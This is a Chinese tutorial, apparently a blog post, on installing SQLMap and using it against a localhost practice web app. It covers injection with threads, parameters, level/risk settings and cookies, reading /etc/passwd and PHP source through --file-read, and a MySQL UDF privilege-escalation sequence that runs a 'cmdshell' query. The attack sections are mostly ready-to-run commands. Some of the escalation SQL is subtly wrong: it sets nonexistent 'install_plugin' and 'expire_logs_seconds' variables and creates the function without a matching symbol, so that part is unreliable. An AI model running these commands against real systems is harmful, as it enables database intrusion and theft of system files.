一、安装Python
1、下载Python安装包
访问Python官网(https://www.python.org/downloads/),选择“Download”-“Windows”-“Latest Python 3 Release”,下载对应的Python安装包。
https://www.python.org/downloads/windows/
2、安装Python
运行Python安装包,选择“Customize installation”自定义安装。在“Optional features”中勾选“Add Python 3.x to PATH”,方便后续使用。
// 添加Python到系统环境变量 SET PATH=%PATH%;C:\Python3x;C:\Python3x\Scripts
二、安装SQLMap
1、下载SQLMap
访问SQLMap官网(http://sqlmap.org/),选择“Download”-“sqlmap.zip”,下载对应的SQLMap压缩包。
http://sqlmap.org/
2、解压SQLMap
将下载的SQLMap压缩包解压缩到指定目录,例如解压到“D:\sqlmap”目录下。
// 解压SQLmap unzip sqlmap.zip // 进入sqlmap目录 cd D:\sqlmap
三、检测SQLMap是否安装成功
打开命令行窗口,进入SQLMap安装目录。
// 命令行中输入以下命令 cd /d D:\sqlmap python sqlmap.py
如果SQLMap安装成功,则会显示SQLMap的版本号,版权信息等相关信息。
四、使用SQLMap进行基本注入
1、查找注入点
使用SQLMap需要先确定有注入漏洞,使用一些注入漏洞扫描器可以辅助查找注入点。例如:使用OWASP ZAP进行漏洞扫描。
2、使用SQLMap进行注入
在命令行中输入以下命令,使用SQLMap进行漏洞利用注入:
python sqlmap.py -u "http://localhost/vulnerabilities/sqli/?id=1&Submit=Submit#" --threads=10
-u指定漏洞URL链接地址,--threads=10指定使用10个线程进行注入。
五、使用SQLMap进行高级注入
1、指定注入参数
使用SQLMap的-p参数可以指定注入参数。
python sqlmap.py -u "http://localhost/vulnerabilities/sqli/?id=1&Submit=Submit#" -p id
2、指定注入类型
使用SQLMap的--level和--risk参数可以指定注入类型。
python sqlmap.py -u "http://localhost/vulnerabilities/sqli/?id=1&Submit=Submit#" -p id --level=5 --risk=3
3、使用Cookie进行注入
使用SQLMap的--cookie参数可以指定Cookie进行注入。
python sqlmap.py -u "http://localhost/vulnerabilities/sqli/?Unlogged=true" --cookie="PHPSESSID=xxxxxxxxxx; security=low;" --level=5 --risk=3
六、使用SQLMap进行文件读取
使用SQLMap进行基于文件读取的攻击是一个高级用法,需要了解目标后台数据库的文件存储结构,以及Web服务器的文件访问规则。
1、读取PHP源代码
python sqlmap.py -u "http://localhost/vulnerabilities/fi/?page=include.php" --file-read=/var/www/html/includes/application_top.php
2、读取系统文件
python sqlmap.py -u "http://localhost/vulnerabilities/fi/?page=include.php" --file-read=/etc/passwd
七、使用SQLMap进行提权攻击
使用SQLMap进行基于提权攻击也是一个高级的用法,需要了解目标后台数据库的工作环境,以及操作系统提权的方法。
假设目标后台数据库是MySQL,且MySQL服务以root身份运行。
1、上传MySQL UDF库文件
python sqlmap.py -u "http://localhost/file_upload.php" --file-write="mysql_udf.so" --file-dest="/tmp/mysql_udf.so"
2、设置环境变量
python sqlmap.py -u "http://localhost/file_upload.php" --sql-query="SET GLOBAL local_infile=1; SET @@session.expire_logs_seconds=1; SET @@global.install_plugin='mysql_udf.so'; SELECT @@global.install_plugin;"
3、加载MySQL UDF库文件
python sqlmap.py -u "http://localhost/file_upload.php" --sql-query="CREATE FUNCTION cmdshell RETURNS STRING SONAME 'mysql_udf.so'"
4、执行提权命令
python sqlmap.py -u "http://localhost/file_upload.php" --sql-query="SELECT cmdshell('whoami');"
八、总结
本文介绍了SQLMap的安装和基本使用,以及使用SQLMap进行高级注入、文件读取和提权攻击的方法,希望能够为大家在Web渗透测试中提供帮助。